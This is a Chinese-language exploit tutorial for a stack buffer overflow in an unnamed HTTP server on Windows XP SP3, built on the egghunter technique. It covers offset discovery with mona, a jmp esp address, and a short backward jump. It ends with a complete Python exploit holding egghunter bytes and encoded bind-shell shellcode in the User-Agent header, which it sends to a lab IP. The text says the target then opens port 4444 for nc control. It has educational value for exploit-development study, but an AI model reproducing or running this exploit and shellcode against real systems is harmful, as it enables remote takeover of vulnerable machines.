利用环境
- Windows XP Pro Sp3
- Immunity debugger
- mona.py
- python2.7
- 漏洞软件
- 坏字符:’\x00\x0d\x0a\x3d\x20\x3f’
利用原理
egghunter取名于“复活节彩蛋”,意为人们在复活节的时候去各个地方寻找有颜色的彩蛋。简单来说,就是利用一小段代码寻找一大段shellcode的过程。原因是可利用的栈空间太小,虽然可以控制跳转,但是不足以放下全部的shellcode。所以我们把这一段小空间装入寻找程序(hunter),而把大的shellcode放到后面的地址空间中,头部放上特征以供查找(egg)。hunter在全空间寻找这段egg。人们按规律搜索彩蛋的过程就是hunter;彩蛋就是egg。这个技术最早在2004年由skape的文章《Safely Searching Process Virtual Address Space》提出
利用过程
首先通过发送过长的数据导致程序崩溃
ESP指向的位置依然受我们控制
利用mona求出偏移
EIP的偏移为515,ESP的偏移为519
利用!mona jmp -r esp找跳板
可以看到,在程序调到ESP的位置后栈中可以用来存放shellcode的空间太小,所以我们考虑使用短跳,跳到寻蛋指令再跳到shellcode,我们考虑将寻蛋指令放在ESP之前,这样可以节省空间,所以我们硬编码一个短跳指令向前跳转60个字节

新的pyload如下:Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "\xEB\xC4"
接下来只需要生成寻蛋指令即可,利用mona:!mona egg

生成的指令长度为32字节,将给出的标签w00tw00t放到shellcode之前即可
布置shellcode
我们在http请求头的User-Agent字段中填入mona生成的字符,将程序在0x7d5a30d7断下,发现可以搜索到这些字符,因此我们考虑将shellcode存放在这里,利用寻蛋指令跳转到这里执行,1000字节已经足够大来存放shellcode了"User-Agent: "+ Stage2 + "\r\n"
结束
完整EXP如下:
import socketimport osimport sys#Stage1 = "A"*600#Stage1 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74""\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")shellcode = ("\xda\xdc\xba\x02\x40\x2a\xfd\xd9\x74\x24\xf4\x5e\x33\xc9\xb1""\x53\x31\x56\x17\x03\x56\x17\x83\xc4\x44\xc8\x08\x34\xac\x8e""\xf3\xc4\x2d\xef\x7a\x21\x1c\x2f\x18\x22\x0f\x9f\x6a\x66\xbc""\x54\x3e\x92\x37\x18\x97\x95\xf0\x97\xc1\x98\x01\x8b\x32\xbb""\x81\xd6\x66\x1b\xbb\x18\x7b\x5a\xfc\x45\x76\x0e\x55\x01\x25""\xbe\xd2\x5f\xf6\x35\xa8\x4e\x7e\xaa\x79\x70\xaf\x7d\xf1\x2b""\x6f\x7c\xd6\x47\x26\x66\x3b\x6d\xf0\x1d\x8f\x19\x03\xf7\xc1""\xe2\xa8\x36\xee\x10\xb0\x7f\xc9\xca\xc7\x89\x29\x76\xd0\x4e""\x53\xac\x55\x54\xf3\x27\xcd\xb0\x05\xeb\x88\x33\x09\x40\xde""\x1b\x0e\x57\x33\x10\x2a\xdc\xb2\xf6\xba\xa6\x90\xd2\xe7\x7d""\xb8\x43\x42\xd3\xc5\x93\x2d\x8c\x63\xd8\xc0\xd9\x19\x83\x8c""\x2e\x10\x3b\x4d\x39\x23\x48\x7f\xe6\x9f\xc6\x33\x6f\x06\x11""\x33\x5a\xfe\x8d\xca\x65\xff\x84\x08\x31\xaf\xbe\xb9\x3a\x24""\x3e\x45\xef\xd1\x36\xe0\x40\xc4\xbb\x52\x31\x48\x13\x3b\x5b""\x47\x4c\x5b\x64\x8d\xe5\xf4\x99\x2e\x18\x59\x17\xc8\x70\x71""\x71\x42\xec\xb3\xa6\x5b\x8b\xcc\x8c\xf3\x3b\x84\xc6\xc4\x44""\x15\xcd\x62\xd2\x9e\x02\xb7\xc3\xa0\x0e\x9f\x94\x37\xc4\x4e""\xd7\xa6\xd9\x5a\x8f\x4b\x4b\x01\x4f\x05\x70\x9e\x18\x42\x46""\xd7\xcc\x7e\xf1\x41\xf2\x82\x67\xa9\xb6\x58\x54\x34\x37\x2c""\xe0\x12\x27\xe8\xe9\x1e\x13\xa4\xbf\xc8\xcd\x02\x16\xbb\xa7""\xdc\xc5\x15\x2f\x98\x25\xa6\x29\xa5\x63\x50\xd5\x14\xda\x25""\xea\x99\x8a\xa1\x93\xc7\x2a\x4d\x4e\x4c\x5a\x04\xd2\xe5\xf3""\xc1\x87\xb7\x99\xf1\x72\xfb\xa7\x71\x76\x84\x53\x69\xf3\x81""\x18\x2d\xe8\xfb\x31\xd8\x0e\xaf\x32\xc9")Stage1 = "A"*478 + hunter + "A"*5 + "\xd7\x30\x5a\x7d" + "\xEB\xC4"Stage2 = "w00tw00t" + shellcodebuffer = ("HEAD /" + Stage1 + " HTTP/1.1\r\n""Host: 192.168.0.106:8080\r\n""User-Agent: "+ Stage2 + "\r\n""Keep-Alive: 115\r\n""Connection: keep-alive\r\n\r\n")expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)expl.connect(("192.168.0.106", 8080))expl.send(buffer)expl.close()
需要注意hunter后面加五个字节的A是为了平衡堆栈,否则寻蛋指令中的两次push会将寻蛋指令的后4个字节覆盖而导致程序崩溃,经过测试后面加四个字节的A也可以,这样前面就需要填充479个字节的A,因为此时的两次push会将返回地址和后四个A覆盖,同样不会影响到寻蛋指令


可以看到运行EXP后目标机器打开并监听4444端口等待其他机器连接
最后使用nc即可连接并控制这台机器
